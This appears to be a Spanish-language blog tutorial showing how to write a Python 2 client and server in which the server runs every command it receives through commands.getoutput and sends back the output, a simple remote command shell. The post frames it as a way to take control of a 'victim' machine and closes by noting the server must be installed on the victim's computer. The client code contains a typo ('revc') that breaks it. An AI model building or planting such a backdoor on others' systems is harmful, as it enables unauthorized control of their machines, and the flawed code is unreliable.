En esta ocasión veremos algo que para muchos es algo muy sencillo pero de mucha utilidad a la hora de realizar una pentesting o tomar control de un equipo. Cuando hablamos de tomar control de un equipo mediante una shell para ejecutar comandos en realidad lo que estamos haciendo es una conexión cliente y servidor. En este caso el servidor seria la vÃctima y nosotros el cliente los cuales les enviaremos ordenes a seguir a dicho server.
Bien les mostrare como crear una conexión cliente y servidor en python y ejecutar comandos para que este nos devuelva los resultados.
Primero creamos nuestro cliente.py
importamos la libreria socket
import socket
Luego crearemos una variable que determinara el protocolo y el tipo de socket, creamos 1 variable la cual será servidor y puerto, esta debe tener los mismos valores que tendrá nuestro servidor.
clientsocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
clientsocket.connect(('localhost',5353))
En servidor coloque mi ip local y para el puerto escoji el 5353.
Recordemos que los parámetros deben ser iguales a los que usaremos en el servidor para que puedan comunicarse correctamente.
while True:
data = raw_input("-> ")
clientsocket.send(data)
data = clientsocket.revc(1024)
print 'servido: %s' % data
if not data: break
clientsocket.close()
Lo que hicimos aqui fue crear un bucle infinito para mantener la concesión con el servidor y creamos una variable llamada data la cual obtendrá los comandos que se ejecutan en dicho server.
Código cliente.py completo.
import socket
clientsocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
clientsocket.connect(('localhost',5353))
while True:
data = raw_input("-> ")
clientsocket.send(data)
data = clientsocket.revc(1024)
print 'servido: %s' % data
if not data: break
clientsocket.close()
Ahora creamos el server.py
importamos la libreria socket y la libreria commands. Creamos una variable de respuesta la cual le asignaremos el valor de la petición del cliente. El cual se guardara en commands.getoutout lo que hará que se ejecute en comando en el sistema.
import socket
import commands
serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
serversocket.bind(('localhost', 5353))
serversocket.listen(1)
clientsocket, clientaddress = serversocket.accept()
print 'conexion desde: ', clientaddress
serversocket.bind debe tener los mismos parámetros que le dimos en el cliente debido a que estamos especificando a la ip a la que nos conectaremos desde dicho cliente al igual que el puerto. Luego le decimos las conexiones en espera las cuales yo le di que seria 1.
Ahora creamos un bucle infinito para el servidor y creamos la variable que recibirá los datos luego con la variable respuesta la cual guardara el mensaje que el cliente envÃa(el comando) para ejecutarlo en el sistema y enviar los resultados de dicho comando.
while True:
data = clientsocket.recv(1024)
print 'cliente %s' % data
respuesta = commands.getoutput(data)
clientsocket.send(respuesta)
if not respuesta: break
clientsocket.close()
codigo server.py completo.
import socket
import commands
serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
serversocket.bind(('localhost', 5353))
serversocket.listen(1)
clientsocket, clientaddress = serversocket.accept()
print 'conexion desde: ', clientaddress
while True:
data = clientsocket.recv(1024)
print 'cliente %s' % data
respuesta = commands.getoutput(data)
clientsocket.send(respuesta)
if not respuesta: break
clientsocket.close()
Listo ahora ejecutamos el server primero, luego el client y le enviamos un comando al servidor. Por ejemplo usare ifconfig.
Listo nos mostrara la información de las interfaces. En caso de usar esto en contra de una vÃctima tendrÃamos que instalar el servidor en su maquina y este debe de estar ejecutado para que el cliente pueda conectarse.
Espero que les haya gustado y sido de ayuda, no olviden compartir y suscribirse.
0 Comments